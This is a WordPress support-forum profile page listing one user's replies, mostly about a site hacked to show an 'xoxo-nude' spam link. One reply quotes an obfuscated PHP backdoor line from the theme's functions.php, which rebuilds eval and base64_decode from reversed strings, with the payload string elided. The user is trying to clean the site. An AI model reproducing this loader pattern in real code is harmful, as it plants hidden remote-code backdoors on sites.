thumbslinger
Forum Replies Created
-
Forum: Plugins
In reply to: [Category Posts Widget] Duplicating Prev Next Post PAGES w/SidebarI am defining what the shortcode is supposed to mean in the functions.php so that I can use my custom shortcode in the text.
If one wishes a shortcode like [bumblebee] then you have to tell WordPress what [bumblbee] is supposed to do so that has to be done in php. Then, you can use [bumblebee] in content.
My issue is that I want to have the navigation through pages (not just single posts) in both areas; beneath the default 10 entries that show and in the sidebar.
The theme being used is an older version of Divi and I think that is the issue. All the stuff people from Elegant Themes suggested didn’t work either. Making a shortcode for a dynamic year in the footer worked fine so it is not the idea of making a shortcode, it must be an issue of re declaring a function already defined.
Forum: Fixing WordPress
In reply to: Duplicating Prev Next Post PAGES w/SidebarThanks Matteo!
Forum: Fixing WordPress
In reply to: "xoxo-nude" hyperlink after updating, new db passwordwell, darn it came back yesterday. On the phone with GoDaddy and they admitted to not knowing enough about this sort of thing to really help much.
The way I got around the immediate problem was by using an attribute selector on the a tag:
a[href^=”https://naturalchoiceforhomes.com/”%5D, a[href^=”https://aocsf.com/xoxo-nude/”%5D{ display:none; }However, they mentioned the theme. I know the theme was custom and years old.
The theme has a functions.php file that got flagged again after I cleaned it. So, the question is now what can edit that functions.php on the fly or how can it get added to? The offending line that seems to remove the link when I remove it is:
“<?php $wp_function_initialize = create_function(‘$a’,strrev(‘;)a$(lave’)); $wp_function_initialize(strrev(‘;))”=owOpICcoB3Xu….(very long string here..)yV3X0V2Zg42bpR3YuVnZ”(edoced_46esab(lave’));?><?php “
I remove that, the link goes away. But, after 24 hours it came back.
I’m looking at the access logs for before/after though I don’t really know what to look for besides obvious entries.
So I guess the next step is to see how the functions.php file is getting altered…. or maybe replaced with an old version?
Forum: Fixing WordPress
In reply to: "xoxo-nude" hyperlink after updating, new db passwordI do not have a file called wp-head.php
I installed “Wordfence” and it scanned the site and found a bad line in the template.php file.
It was at the very top. I removed that line, flushed the cache via the same plugin and it has gone away.
But, for completeness, were you suggesting to look in that file or is having a file just for the head a good thing to do?
Thanks!
Forum: Fixing WordPress
In reply to: "xoxo-nude" hyperlink after updating, new db passwordOk, I’ve checked within WordPress at the appearance > Menu’s and nothing shows up there. I also looked over the page template and header template. A few weeks ago, the site had the ‘viagra’ link and I ended up having to just use css with an attribute selector to hide any ‘a href’ tags with that domain. Not feasible to keep adding to or changing a css rule.
Anybody have any ideas how to rid the site of this little hack? Or even better, what may be causing it?
Forum: Fixing WordPress
In reply to: "xoxo-nude" hyperlink after updating, new db passwordThanks, I’ll look there. It seems to have vanished for some even NOT after clearing a browsers cache but other are still seeing it even after clearing the cache.
It’s showing in Safari on Macs but not in Firefox or Chrome on windows. Not consistently that is. Chrome is a webkit-based browser as Safari so it would seem it’s not actually browser related?
I don’t have access from my remote location to check the appearance/menu but I will and post back, thanks
Forum: Everything else WordPress
In reply to: Preparing to handoff a WordPress siteTo be complete, everything I guessed was right. So if you happen upon this question, just dump the sql, dupe the wp_content and that’s all you need after a fresh install of WP.
Forum: Everything else WordPress
In reply to: Preparing to handoff a WordPress siteoh…one note…. after dumping the sql database, I need to remove the actual user/password for the database in the wp-config, right? Because a new person will just import that sql file into their own database using their own db url/user/password?
Forum: Plugins
In reply to: [JSON API] Newbie: How to parse the data returnedUpdate: I’ve made headway with:
$(document).ready(function(){
$.getJSON(“/wordpress/api/get_recent_posts/”,function(result){
$.each(result.posts, function(index){
console.log(result.posts[index]);
$(“.demoarea”).append(result.posts[index].content + ” “);
});
});
});But, I’d really like to just dump the title and contents but get_recent_posts only returns the actual posting/content not the title.